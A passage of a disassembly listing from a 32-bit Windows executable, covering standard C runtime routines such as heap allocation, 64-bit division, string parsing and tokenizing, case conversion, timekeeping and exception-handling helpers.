					; DATA XREF: .rdata:stru_427730o
		push	dword ptr [ebp-1Ch]
		call	sub_4166C5
		pop	ecx
		retn
sub_413389	endp


; =============== S U B	R O U T	I N E =======================================



sub_413393	proc near		; CODE XREF: sub_402A8B+2Ap
					; sub_4078FA+33EEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_413337
		add	esp, 0Ch
		retn
sub_413393	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4133A6	proc near		; CODE XREF: sub_413421+Bp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset stru_427740
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		cmp	dword_47A640, 3
		jnz	short loc_4133EC
		cmp	esi, dword_47A62C
		ja	short loc_4133EC
		push	4
		call	sub_416901
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_417159
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_413418
		mov	eax, [ebp+var_1C]
		test	eax, eax
		jnz	short loc_41340F


loc_4133EC:				; CODE XREF: sub_4133A6+16j
					; sub_4133A6+1Ej
		test	esi, esi
		jnz	short loc_4133F1
		inc	esi


loc_4133F1:				; CODE XREF: sub_4133A6+48j
		cmp	dword_47A640, 1
		jz	short loc_413400
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_413400:				; CODE XREF: sub_4133A6+52j
		push	esi
		push	0
		push	dword_47A63C
		call	ds:dword_41F13C	; RtlAllocateHeap


loc_41340F:				; CODE XREF: sub_4133A6+44j
		call	__SEH_epilog
		retn
sub_4133A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_413415	proc near		; DATA XREF: .rdata:stru_427740o
		mov	esi, [ebp+8]
sub_413415	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_413418	proc near		; CODE XREF: sub_4133A6+3Ap
		push	4
		call	sub_41686D
		pop	ecx
		retn
sub_413418	endp


; =============== S U B	R O U T	I N E =======================================



sub_413421	proc near		; CODE XREF: sub_41344D+Ap
					; sub_413A90+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41344A


loc_413428:				; CODE XREF: sub_413421+27j
		push	[esp+arg_0]
		call	sub_4133A6
		test	eax, eax
		pop	ecx
		jnz	short locret_41344C
		cmp	[esp+arg_4], eax
		jz	short locret_41344C
		push	[esp+arg_0]
		call	sub_417AED
		test	eax, eax
		pop	ecx
		jnz	short loc_413428


loc_41344A:				; CODE XREF: sub_413421+5j
		xor	eax, eax

locret_41344C:				; CODE XREF: sub_413421+13j
					; sub_413421+19j
		retn
sub_413421	endp


; =============== S U B	R O U T	I N E =======================================



sub_41344D	proc near		; CODE XREF: sub_402717+1Ep
					; sub_406B55+5Ep ...

arg_0		= dword	ptr  4

		push	dword_47A014
		push	[esp+4+arg_0]
		call	sub_413421
		pop	ecx
		pop	ecx
		retn
sub_41344D	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_413460	proc near		; CODE XREF: sub_413498p
		mov	eax, offset sub_4181D9
		mov	off_42CE18, eax
		mov	off_42CE1C, offset sub_417E53
		mov	off_42CE20, offset sub_417EB8
		mov	off_42CE24, offset sub_417E17
		mov	off_42CE28, offset sub_417E9E
		mov	off_42CE2C, eax
		retn
sub_413460	endp


; =============== S U B	R O U T	I N E =======================================



sub_413498	proc near		; CODE XREF: sub_4143FB+9p
					; DATA XREF: .data:off_42C718o
		call	sub_413460
		call	sub_41827C
		mov	dword_479E54, eax
		call	sub_41822A
		fnclex
		retn
sub_413498	endp


; =============== S U B	R O U T	I N E =======================================



sub_4134AF	proc near		; CODE XREF: sub_40241F+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_41F06C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4134CF
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		call	sub_417C82
		pop	ecx


loc_4134CB:				; CODE XREF: sub_4134AF+41j
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_4134CF:				; CODE XREF: sub_4134AF+Dj
		test	al, 1
		jz	short loc_4134F2
		test	[esp+arg_4], 2
		jz	short loc_4134F2
		call	sub_417C70
		mov	dword ptr [eax], 0Dh
		call	sub_417C79
		mov	dword ptr [eax], 5
		jmp	short loc_4134CB
; ---------------------------------------------------------------------------


loc_4134F2:				; CODE XREF: sub_4134AF+22j
					; sub_4134AF+29j
		xor	eax, eax
		retn
sub_4134AF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413500	proc near		; CODE XREF: sub_402439+2Ap
					; sub_414CA3+60Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_413531
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	[esp+4+arg_8]
		mov	ecx, eax
		mov	eax, esi
		mul	[esp+4+arg_8]
		add	edx, ecx
		jmp	short loc_413578
; ---------------------------------------------------------------------------


loc_413531:				; CODE XREF: sub_413500+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41353F:				; CODE XREF: sub_413500+49j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41353F
		div	ebx
		mov	esi, eax
		mul	[esp+4+arg_C]
		mov	ecx, eax
		mov	eax, [esp+4+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41356D
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41356D
		jb	short loc_413576
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_413576


loc_41356D:				; CODE XREF: sub_413500+5Dj
					; sub_413500+63j
		dec	esi
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_413576:				; CODE XREF: sub_413500+65j
					; sub_413500+6Bj
		xor	ebx, ebx


loc_413578:				; CODE XREF: sub_413500+2Fj
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		pop	esi
		retn	10h
sub_413500	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4135A0	proc near		; CODE XREF: sub_40253D+5Fp
					; sub_40253D+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_4135C1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_4135C1:				; CODE XREF: sub_4135A0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_4135DD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_4135DD:				; CODE XREF: sub_4135A0+27j
		or	eax, eax
		jnz	short loc_4135F9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41363A
; ---------------------------------------------------------------------------


loc_4135F9:				; CODE XREF: sub_4135A0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_413607:				; CODE XREF: sub_4135A0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_413607
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_413635
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_413635
		jb	short loc_413636
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_413636


loc_413635:				; CODE XREF: sub_4135A0+85j
					; sub_4135A0+8Bj
		dec	esi


loc_413636:				; CODE XREF: sub_4135A0+8Dj
					; sub_4135A0+93j
		xor	edx, edx
		mov	eax, esi


loc_41363A:				; CODE XREF: sub_4135A0+57j
		dec	edi
		jnz	short loc_413644
		neg	edx
		neg	eax
		sbb	edx, 0


loc_413644:				; CODE XREF: sub_4135A0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_4135A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41364A	proc near		; CODE XREF: sub_413809+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		call	sub_415456
		mov	esi, [eax+64h]
		cmp	esi, off_42C7BC
		jz	short loc_413668
		call	sub_41628E
		mov	esi, eax


loc_413668:				; CODE XREF: sub_41364A+15j
		mov	ecx, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	bl, [ecx]
		lea	edi, [ecx+1]


loc_413674:				; CODE XREF: sub_41364A+55j
		cmp	dword ptr [esi+28h], 1
		movzx	eax, bl
		jle	short loc_41368E
		push	8
		push	eax
		push	esi
		call	sub_41608B
		mov	ecx, [ebp+arg_0]
		add	esp, 0Ch
		jmp	short loc_413698
; ---------------------------------------------------------------------------


loc_41368E:				; CODE XREF: sub_41364A+31j
		mov	edx, [esi+48h]
		movzx	eax, byte ptr [edx+eax*2]
		and	eax, 8


loc_413698:				; CODE XREF: sub_41364A+42j
		test	eax, eax
		jz	short loc_4136A1
		mov	bl, [edi]
		inc	edi
		jmp	short loc_413674
; ---------------------------------------------------------------------------


loc_4136A1:				; CODE XREF: sub_41364A+50j
		cmp	bl, 2Dh
		jnz	short loc_4136AC
		or	[ebp+arg_C], 2
		jmp	short loc_4136B1
; ---------------------------------------------------------------------------


loc_4136AC:				; CODE XREF: sub_41364A+5Aj
		cmp	bl, 2Bh
		jnz	short loc_4136B4


loc_4136B1:				; CODE XREF: sub_41364A+60j
		mov	bl, [edi]
		inc	edi


loc_4136B4:				; CODE XREF: sub_41364A+65j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_4137F9
		cmp	eax, 1
		jz	loc_4137F9
		cmp	eax, 24h
		jg	loc_4137F9
		test	eax, eax
		push	10h
		pop	ecx
		jnz	short loc_4136FC
		cmp	bl, 30h
		jz	short loc_4136E6
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_413714
; ---------------------------------------------------------------------------


loc_4136E6:				; CODE XREF: sub_41364A+91j
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_4136F9
		cmp	al, 58h
		jz	short loc_4136F9
		mov	[ebp+arg_8], 8
		jmp	short loc_413714
; ---------------------------------------------------------------------------


loc_4136F9:				; CODE XREF: sub_41364A+A0j
					; sub_41364A+A4j
		mov	[ebp+arg_8], ecx


loc_4136FC:				; CODE XREF: sub_41364A+8Cj
		cmp	[ebp+arg_8], ecx
		jnz	short loc_413714
		cmp	bl, 30h
		jnz	short loc_413714
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_413710
		cmp	al, 58h
		jnz	short loc_413714


loc_413710:				; CODE XREF: sub_41364A+C0j
		inc	edi
		mov	bl, [edi]
		inc	edi


loc_413714:				; CODE XREF: sub_41364A+9Aj
					; sub_41364A+ADj ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]


loc_41371C:				; CODE XREF: sub_41364A+134j
		mov	esi, off_42CE30
		movzx	ecx, bl
		mov	cx, [esi+ecx*2]
		test	cl, 4
		jz	short loc_413736
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_413755
; ---------------------------------------------------------------------------


loc_413736:				; CODE XREF: sub_41364A+E2j
		test	cx, 103h
		jz	short loc_413780
		cmp	bl, 61h
		jl	short loc_41374F
		cmp	bl, 7Ah
		jg	short loc_41374F
		movsx	ecx, bl
		sub	ecx, 20h
		jmp	short loc_413752
; ---------------------------------------------------------------------------


loc_41374F:				; CODE XREF: sub_41364A+F6j
					; sub_41364A+FBj
		movsx	ecx, bl


loc_413752:				; CODE XREF: sub_41364A+103j
		add	ecx, 0FFFFFFC9h


loc_413755:				; CODE XREF: sub_41364A+EAj
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_413780
		or	[ebp+arg_C], 8
		cmp	[ebp+var_4], eax
		jb	short loc_41376F
		jnz	short loc_413769
		cmp	ecx, edx
		jbe	short loc_41376F


loc_413769:				; CODE XREF: sub_41364A+119j
		or	[ebp+arg_C], 4
		jmp	short loc_41377B
; ---------------------------------------------------------------------------


loc_41376F:				; CODE XREF: sub_41364A+117j
					; sub_41364A+11Dj
		mov	esi, [ebp+var_4]
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_4], esi


loc_41377B:				; CODE XREF: sub_41364A+123j
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41371C
; ---------------------------------------------------------------------------


loc_413780:				; CODE XREF: sub_41364A+F1j
					; sub_41364A+10Ej
		mov	eax, [ebp+arg_C]
		dec	edi
		test	al, 8
		jnz	short loc_413797
		cmp	[ebp+arg_4], 0
		jz	short loc_413791
		mov	edi, [ebp+arg_0]


loc_413791:				; CODE XREF: sub_41364A+142j
		and	[ebp+var_4], 0
		jmp	short loc_4137E2
; ---------------------------------------------------------------------------


loc_413797:				; CODE XREF: sub_41364A+13Cj
		test	al, 4
		mov	esi, 7FFFFFFFh
		jnz	short loc_4137BB
		test	al, 1
		jnz	short loc_4137E2
		and	eax, 2
		jz	short loc_4137B2
		cmp	[ebp+var_4], 80000000h
		ja	short loc_4137BB


loc_4137B2:				; CODE XREF: sub_41364A+15Dj
		test	eax, eax
		jnz	short loc_4137E2
		cmp	[ebp+var_4], esi
		jbe	short loc_4137E2


loc_4137BB:				; CODE XREF: sub_41364A+154j
					; sub_41364A+166j
		call	sub_417C70
		test	byte ptr [ebp+arg_C], 1
		mov	dword ptr [eax], 22h
		jz	short loc_4137D2
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4137E2
; ---------------------------------------------------------------------------


loc_4137D2:				; CODE XREF: sub_41364A+180j
		mov	al, byte ptr [ebp+arg_C]
		and	al, 2
		neg	al
		sbb	eax, eax
		neg	eax
		add	eax, esi
		mov	[ebp+var_4], eax


loc_4137E2:				; CODE XREF: sub_41364A+14Bj
					; sub_41364A+158j ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4137EB
		mov	[eax], edi


loc_4137EB:				; CODE XREF: sub_41364A+19Dj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_4137F4
		neg	[ebp+var_4]


loc_4137F4:				; CODE XREF: sub_41364A+1A5j
		mov	eax, [ebp+var_4]
		jmp	short loc_413804
; ---------------------------------------------------------------------------


loc_4137F9:				; CODE XREF: sub_41364A+6Fj
					; sub_41364A+78j ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_413802
		mov	[eax], ecx


loc_413802:				; CODE XREF: sub_41364A+1B4j
		xor	eax, eax


loc_413804:				; CODE XREF: sub_41364A+1ADj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41364A	endp


; =============== S U B	R O U T	I N E =======================================



sub_413809	proc near		; CODE XREF: sub_402B1D+440p
					; sub_4078FA+2787p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41364A
		add	esp, 10h
		retn
sub_413809	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413820	proc near		; CODE XREF: sub_402B1D+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_41F140	; GetSystemTimeAsFileTime
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		push	0
		add	eax, 2AC18000h
		push	989680h
		adc	ecx, 0FE624E21h
		push	ecx
		push	eax
		call	sub_414600
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	short locret_413857
		mov	[ecx], eax

locret_413857:				; CODE XREF: sub_413820+33j
		leave
		retn
sub_413820	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413859	proc near		; CODE XREF: sub_4030C4+2Ap
					; sub_403B4C+FDp ...

var_24		= byte ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4], eax
		call	sub_415456
		push	8
		pop	ecx
		mov	[ebp+arg_4], eax
		xor	eax, eax
		lea	edi, [ebp+var_24]
		push	7
		rep stosd
		pop	edi


loc_413885:				; CODE XREF: sub_413859+45j
		mov	dl, [esi]
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		mov	bl, 1
		shl	bl, cl
		shr	eax, 3
		lea	eax, [ebp+eax+var_24]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_413885
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_4138B4
		mov	eax, [ebp+arg_4]
		mov	edx, [eax+18h]
		jmp	short loc_4138B4
; ---------------------------------------------------------------------------


loc_4138AF:				; CODE XREF: sub_413859+72j
		test	al, al
		jz	short loc_4138CD
		inc	edx


loc_4138B4:				; CODE XREF: sub_413859+4Cj
					; sub_413859+54j
		mov	al, [edx]
		movzx	esi, al
		xor	ebx, ebx
		mov	ecx, esi
		and	ecx, edi
		inc	ebx
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_24]
		test	bl, cl
		jnz	short loc_4138AF


loc_4138CD:				; CODE XREF: sub_413859+58j
		mov	ebx, edx
		jmp	short loc_4138E9
; ---------------------------------------------------------------------------


loc_4138D1:				; CODE XREF: sub_413859+93j
		movzx	esi, byte ptr [edx]
		xor	eax, eax
		mov	ecx, esi
		and	ecx, edi
		inc	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_24]
		test	al, cl
		jnz	short loc_4138F0
		inc	edx


loc_4138E9:				; CODE XREF: sub_413859+76j
		cmp	byte ptr [edx],	0
		jnz	short loc_4138D1
		jmp	short loc_4138F4
; ---------------------------------------------------------------------------


loc_4138F0:				; CODE XREF: sub_413859+8Dj
		and	byte ptr [edx],	0
		inc	edx


loc_4138F4:				; CODE XREF: sub_413859+95j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax+18h], edx
		mov	eax, ebx
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		xor	ecx, [ebp+4]
		pop	edi
		and	eax, ebx
		pop	esi
		pop	ebx
		call	sub_4182D6
		leave
		retn
sub_413859	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413920	proc near		; CODE XREF: sub_403E06+23Ap
					; sub_403E06+26Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_4139A0
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41398D


loc_413938:				; CODE XREF: sub_413920+58j
					; sub_413920+6Bj
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		add	esi, 1
		cmp	al, dl
		jz	short loc_41395E
		test	al, al
		jz	short loc_413958


loc_41394B:				; CODE XREF: sub_413920+36j
		mov	al, [esi]
		add	esi, 1


loc_413950:				; CODE XREF: sub_413920+45j
		cmp	al, dl
		jz	short loc_41395E
		test	al, al
		jnz	short loc_41394B


loc_413958:				; CODE XREF: sub_413920+29j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41395E:				; CODE XREF: sub_413920+25j
					; sub_413920+32j
		mov	al, [esi]
		add	esi, 1
		cmp	al, dh
		jnz	short loc_413950
		lea	edi, [esi-1]


loc_41396A:				; CODE XREF: sub_413920+69j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_413999
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_413938
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_413999
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41396A
		jmp	short loc_413938
; ---------------------------------------------------------------------------


loc_41398D:				; CODE XREF: sub_413920+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_413F36
; ---------------------------------------------------------------------------


loc_413999:				; CODE XREF: sub_413920+4Fj
					; sub_413920+5Fj
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4139A0:				; CODE XREF: sub_413920+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_413920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4139A6	proc near		; CODE XREF: sub_413A6E+1Ap

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi+14h], 0
		push	edi
		jz	loc_413A5A
		cmp	dword ptr [esi+24h], 0
		jz	short loc_4139CC
		cmp	ebx, 7Fh
		jbe	loc_413A5A


loc_4139CC:				; CODE XREF: sub_4139A6+1Bj
		xor	edi, edi
		inc	edi
		cmp	ebx, 100h
		jnb	short loc_4139F6
		cmp	[esi+28h], edi
		jle	short loc_4139E9
		push	edi
		push	ebx
		push	esi
		call	sub_41608B
		add	esp, 0Ch
		jmp	short loc_4139F2
; ---------------------------------------------------------------------------


loc_4139E9:				; CODE XREF: sub_4139A6+34j
		mov	eax, [esi+48h]
		movzx	eax, byte ptr [eax+ebx*2]
		and	eax, edi


loc_4139F2:				; CODE XREF: sub_4139A6+41j
		test	eax, eax
		jz	short loc_413A67


loc_4139F6:				; CODE XREF: sub_4139A6+2Fj
		mov	edx, [esi+48h]
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_413A17
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_413A20
; ---------------------------------------------------------------------------


loc_413A17:				; CODE XREF: sub_4139A6+60j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, edi


loc_413A20:				; CODE XREF: sub_4139A6+6Fj
		push	edi
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	100h
		push	dword ptr [esi+14h]
		call	sub_4182E4
		add	esp, 20h
		test	eax, eax
		jz	short loc_413A67
		cmp	eax, edi
		jnz	short loc_413A4D
		movzx	eax, [ebp+var_4]
		jmp	short loc_413A69
; ---------------------------------------------------------------------------


loc_413A4D:				; CODE XREF: sub_4139A6+9Fj
		movzx	ecx, [ebp+var_3]
		xor	eax, eax
		mov	ah, [ebp+var_4]
		or	eax, ecx
		jmp	short loc_413A69
; ---------------------------------------------------------------------------


loc_413A5A:				; CODE XREF: sub_4139A6+11j
					; sub_4139A6+20j
		cmp	ebx, 41h
		jl	short loc_413A67
		cmp	ebx, 5Ah
		lea	eax, [ebx+20h]
		jle	short loc_413A69


loc_413A67:				; CODE XREF: sub_4139A6+4Ej
					; sub_4139A6+9Bj ...
		mov	eax, ebx


loc_413A69:				; CODE XREF: sub_4139A6+A5j
					; sub_4139A6+B2j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4139A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_413A6E	proc near		; CODE XREF: sub_4056EA+6p
					; sub_405AD5+56p ...

arg_0		= dword	ptr  4

		call	sub_415456
		mov	eax, [eax+64h]
		cmp	eax, off_42C7BC
		jz	short loc_413A83
		call	sub_41628E


loc_413A83:				; CODE XREF: sub_413A6E+Ej
		push	[esp+arg_0]
		push	eax
		call	sub_4139A6
		pop	ecx
		pop	ecx
		retn
sub_413A6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_413A90	proc near		; CODE XREF: sub_405F05+27p
					; sub_405F46+4Dp

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_413421
		pop	ecx
		pop	ecx
		retn
sub_413A90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413A9E	proc near		; CODE XREF: sub_418B60+60p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_413A9E	endp

; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_413ACE	proc near		; CODE XREF: sub_4187DB+25p
					; sub_4189E4+149p ...

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_413ACE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413AD5	proc near		; CODE XREF: sub_413B81+5Ap
					; sub_418B60:loc_418B83p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, large fs:0
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], offset loc_413AFE
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_41E8A6	; RtlUnwind


loc_413AFE:				; DATA XREF: sub_413AD5+12o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	eax, 0FFFFFFFDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	edi, large fs:0
		mov	ebx, [ebp+var_4]
		mov	[ebx], edi
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_413AD5	endp

; ---------------------------------------------------------------------------


loc_413B27:				; CODE XREF: .text:0041E8BFj
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_418E69
		add	esp, 20h
		mov	[ebp-4], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_413B5D:				; DATA XREF: sub_413D01+17o
		cld
		mov	eax, [esp+8]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	dword ptr [esp+20h]
		push	dword ptr [eax+0Ch]
		push	dword ptr [esp+20h]
		call	sub_418E69
		add	esp, 20h
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B81	proc near		; DATA XREF: sub_413D52+Bo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_413BA2
